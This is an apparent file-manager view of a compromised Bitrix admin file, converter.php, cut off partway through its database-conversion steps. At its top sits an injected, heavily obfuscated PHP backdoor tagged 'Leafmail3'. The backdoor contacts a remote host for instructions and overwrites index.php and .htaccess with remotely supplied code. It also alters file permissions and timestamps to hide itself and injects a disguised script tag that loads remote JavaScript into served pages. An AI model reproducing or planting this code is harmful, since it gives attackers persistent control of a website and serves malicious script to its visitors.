Your IP : 18.217.166.156


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/sale/admin/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/sale/admin/converter.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
use Bitrix\Main\Localization\Loc;

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");

set_time_limit(36000);


IncludeModuleLangFile(__FILE__);

$title = Loc::getMessage("SALE_CONVERTER_STEP_BY_STEP_MANAGER");

global $APPLICATION, $DB;

$APPLICATION->SetTitle($title);

if (!CModule::IncludeModule('sale'))
{
	require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");
	CAdminMessage::ShowMessage(array(
		"MESSAGE" => Loc::getMessage('SALE_CONVERTER_MESSAGE_TITLE'),
		"DETAILS" => Loc::getMessage('SALE_CONVERTER_MODULE_NOT_INSTALL'),
		"HTML" => true,
		"TYPE" => "ERROR"
	));
	
	require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");
	return;
}

global $APPLICATION;

$APPLICATION->SetTitle(Loc::getMessage('SALE_CONVERTER_TITLE'));

$stepsBeforeAjax = 6;
$ajax_step = 0;

if ($_SERVER["REQUEST_METHOD"] == "POST" && $_POST["is_ajax"] == "Y")
{
	global $DB;

	if (isset($_POST['ajax_step']) && intval($_POST['ajax_step']) > 0)
		$ajax_step = intval($_POST['ajax_step']);

	$result = array();
	$error = '';
	switch ($ajax_step)
	{
		case 0:
			Bitrix\Main\Config\Option::set("main", "~sale_converter_start", 'Y');
			// SITE_STOP
			COption::SetOptionString("main", "site_stopped", "Y");
			
			$result['DATA'] = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_ORDER');
			$result['NEXT_STEP'] = ++$ajax_step;
			break;

		case 1:	
			// ORDER
			$start = microtime(true);
			
			if ($DB->Query("SELECT STATUS_ID FROM b_sale_order WHERE 1=0", true))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order CHANGE STATUS_ID STATUS_ID varchar(2) not null", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "MSSQL")
				{

					$DB->Query("ALTER TABLE B_SALE_ORDER DROP CONSTRAINT DF_B_SALE_ORDER_STATUS_ID", true);

					if ($DB->IndexExists("B_SALE_ORDER", array("STATUS_ID")))
					{
						$DB->Query("DROP INDEX IX_B_SALE_ORDER_6 ON B_SALE_ORDER", true);
					}

					if (!$DB->Query("ALTER TABLE B_SALE_ORDER ALTER COLUMN STATUS_ID varchar(2) NOT NULL", true))
						$error .= "<br>".$DB->GetErrorMessage();

					if (!$DB->Query("UPDATE B_SALE_ORDER SET STATUS_ID = LTRIM(RTRIM(STATUS_ID))", true))
						$error .= "<br>".$DB->GetErrorMessage();

					if (!$DB->IndexExists("B_SALE_ORDER", array("STATUS_ID")))
					{
						$DB->Query("CREATE INDEX IX_B_SALE_ORDER_6 ON B_SALE_ORDER(STATUS_ID)", false);
					}

					$DB->Query("ALTER TABLE B_SALE_ORDER ADD CONSTRAINT DF_B_SALE_ORDER_STATUS_ID DEFAULT 'N' FOR STATUS_ID", true);
				}
				elseif ($DB->type == "ORACLE")
				{
					$DB->Query("DROP INDEX IXS_ORDER_STATUS_ID", true);
					
					if (!$DB->Query("ALTER TABLE B_SALE_ORDER MODIFY (STATUS_ID VARCHAR2(2 CHAR))", true))
						$error .= "<br>".$DB->GetErrorMessage();
						
					if (!$DB->Query("UPDATE B_SALE_ORDER SET STATUS_ID = TRIM(STATUS_ID)", true))
						$error .= "<br>".$DB->GetErrorMessage();
						
					$DB->Query("CREATE INDEX IXS_ORDER_STATUS_ID ON B_SALE_ORDER(STATUS_ID)", false);
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 1: B_SALE_ORDER.STATUS_ID",
						"DESCRIPTION" => $error,
					));
				}
			}

			if ($DB->Query("SELECT PRICE FROM b_sale_order WHERE 1=0", true))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order CHANGE COLUMN PRICE PRICE DECIMAL(18,4) NOT NULL", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order ALTER COLUMN PRICE DECIMAL(18,4) NOT NULL", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order MODIFY PRICE NUMBER(20,4)", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 1: B_SALE_ORDER.PRICE",
						"DESCRIPTION" => $error,
					));
				}
			}
			
			if ($DB->Query("SELECT DISCOUNT_VALUE FROM b_sale_order WHERE 1=0", true))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("ALTER TABLE b_sale_order CHANGE COLUMN DISCOUNT_VALUE DISCOUNT_VALUE DECIMAL(18,4) NOT NULL DEFAULT '0.0000'", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "MSSQL")
				{

					$DB->Query("ALTER TABLE b_sale_order DROP CONSTRAINT DF_B_SALE_ORDER_DISCOUNT_VALUE", true);
					
					if (!$DB->Query("ALTER TABLE b_sale_order ALTER COLUMN DISCOUNT_VALUE DECIMAL(18,4) NOT NULL", true))
						$error .= "<br>".$DB->GetErrorMessage();

